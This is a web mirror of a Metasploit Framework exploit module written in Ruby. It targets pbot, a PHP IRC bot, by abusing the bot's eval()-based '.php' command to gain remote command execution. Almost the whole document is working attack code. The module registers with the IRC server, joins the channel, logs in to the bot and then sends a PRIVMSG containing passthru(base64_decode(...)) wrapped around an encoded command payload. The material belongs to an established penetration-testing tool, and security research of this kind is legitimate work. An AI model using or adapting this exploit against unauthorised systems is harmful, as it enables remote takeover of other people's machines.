CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/pbot_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'PHP IRC Bot pbot eval() Remote Code Execution',
14
'Description' => %q{
15
This module allows remote command execution on the PHP IRC bot pbot by abusing
16
the usage of eval() in the implementation of the .php command. In order to work,
17
the data to connect to the IRC server and channel where find pbot must be provided.
18
The module has been successfully tested on the version of pbot analyzed by Jay
19
Turla, and published on Infosec Institute, running over Ubuntu 10.04 and Windows XP
20
SP3.
21
},
22
'Author' =>
23
[
24
'evilcry', # pbot analysis'
25
'Jay Turla', # pbot analysis
26
'bwall', # aka @bwallHatesTwits, PoC
27
'juan vazquez' # Metasploit module
28
],
29
'License' => MSF_LICENSE,
30
'References' =>
31
[
32
[ 'OSVDB', '84913' ],
33
[ 'EDB', '20168' ],
34
[ 'URL', 'http://resources.infosecinstitute.com/pbot-analysis/']
35
],
36
'Platform' => %w{ unix win },
37
'Arch' => ARCH_CMD,
38
'Payload' =>
39
{
40
'Space' => 344, # According to RFC 2812, the max length message is 512, including the cr-lf
41
'BadChars' => '',
42
'DisableNops' => true,
43
'Compat' =>
44
{
45
'PayloadType' => 'cmd',
46
}
47
},
48
'Targets' =>
49
[
50
[ 'pbot', { } ]
51
],
52
'Privileged' => false,
53
'DisclosureDate' => '2009-11-02',
54
'DefaultTarget' => 0))
55
56
register_options(
57
[
58
Opt::RPORT(6667),
59
OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
60
OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
61
OptString.new('CHANNEL', [true, 'IRC Channel', '#channel']),
62
OptString.new('PBOT_PASSWORD', [false, 'pbot Password', ''])
63
])
64
end
65
66
def post_auth?
67
true
68
end
69
70
def check
71
connect
72
73
response = register(sock)
74
if response =~ /463/ or response =~ /464/
75
vprint_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
76
return Exploit::CheckCode::Unknown
77
end
78
79
response = join(sock)
80
if not response =~ /353/ and not response =~ /366/
81
vprint_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
82
return Exploit::CheckCode::Unknown
83
end
84
response = pbot_login(sock)
85
quit(sock)
86
disconnect
87
88
if response =~ /auth/ and response =~ /logged in/
89
return Exploit::CheckCode::Vulnerable
90
else
91
return Exploit::CheckCode::Safe
92
end
93
end
94
95
def send_msg(sock, data)
96
sock.put(data)
97
data = ""
98
begin
99
read_data = sock.get_once(-1, 1)
100
while not read_data.nil?
101
data << read_data
102
read_data = sock.get_once(-1, 1)
103
end
104
rescue EOFError
105
end
106
data
107
end
108
109
def register(sock)
110
msg = ""
111
112
if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty?
113
msg << "PASS #{datastore['IRC_PASSWORD']}\r\n"
114
end
115
116
if datastore['NICK'].length > 9
117
nick = rand_text_alpha(9)
118
print_error("The nick is longer than 9 characters, using #{nick}")
119
else
120
nick = datastore['NICK']
121
end
122
123
msg << "NICK #{nick}\r\n"
124
msg << "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}\r\n"
125
126
response = send_msg(sock,msg)
127
return response
128
end
129
130
def join(sock)
131
join_msg = "JOIN #{datastore['CHANNEL']}\r\n"
132
response = send_msg(sock, join_msg)
133
return response
134
end
135
136
def pbot_login(sock)
137
login_msg = "PRIVMSG #{datastore['CHANNEL']} :.login"
138
if datastore['PBOT_PASSWORD'] and not datastore['PBOT_PASSWORD'].empty?
139
login_msg << " #{datastore['PBOT_PASSWORD']}"
140
end
141
login_msg << "\r\n"
142
response = send_msg(sock, login_msg)
143
return response
144
end
145
146
def pbot_command(sock)
147
encoded = Rex::Text.encode_base64(payload.encoded)
148
command_msg = "PRIVMSG #{datastore['CHANNEL']} :.php #{rand_text_alpha(1)} passthru(base64_decode(\"#{encoded}\"));\r\n"
149
response = send_msg(sock, command_msg)
150
return response
151
end
152
153
def quit(sock)
154
quit_msg = "QUIT :bye bye\r\n"
155
sock.put(quit_msg)
156
end
157
158
def exploit
159
connect
160
161
print_status("#{rhost}:#{rport} - Registering with the IRC Server...")
162
response = register(sock)
163
if response =~ /463/ or response =~ /464/
164
print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed")
165
return
166
end
167
168
print_status("#{rhost}:#{rport} - Joining the #{datastore['CHANNEL']} channel...")
169
response = join(sock)
170
if not response =~ /353/ and not response =~ /366/
171
print_error("#{rhost}:#{rport} - Error joining the #{datastore['CHANNEL']} channel")
172
return
173
end
174
175
print_status("#{rhost}:#{rport} - Registering with the pbot...")
176
response = pbot_login(sock)
177
if not response =~ /auth/ or not response =~ /logged in/
178
print_error("#{rhost}:#{rport} - Error registering with the pbot")
179
return
180
end
181
182
print_status("#{rhost}:#{rport} - Exploiting the pbot...")
183
pbot_command(sock)
184
185
quit(sock)
186
disconnect
187
end
188
end
189
190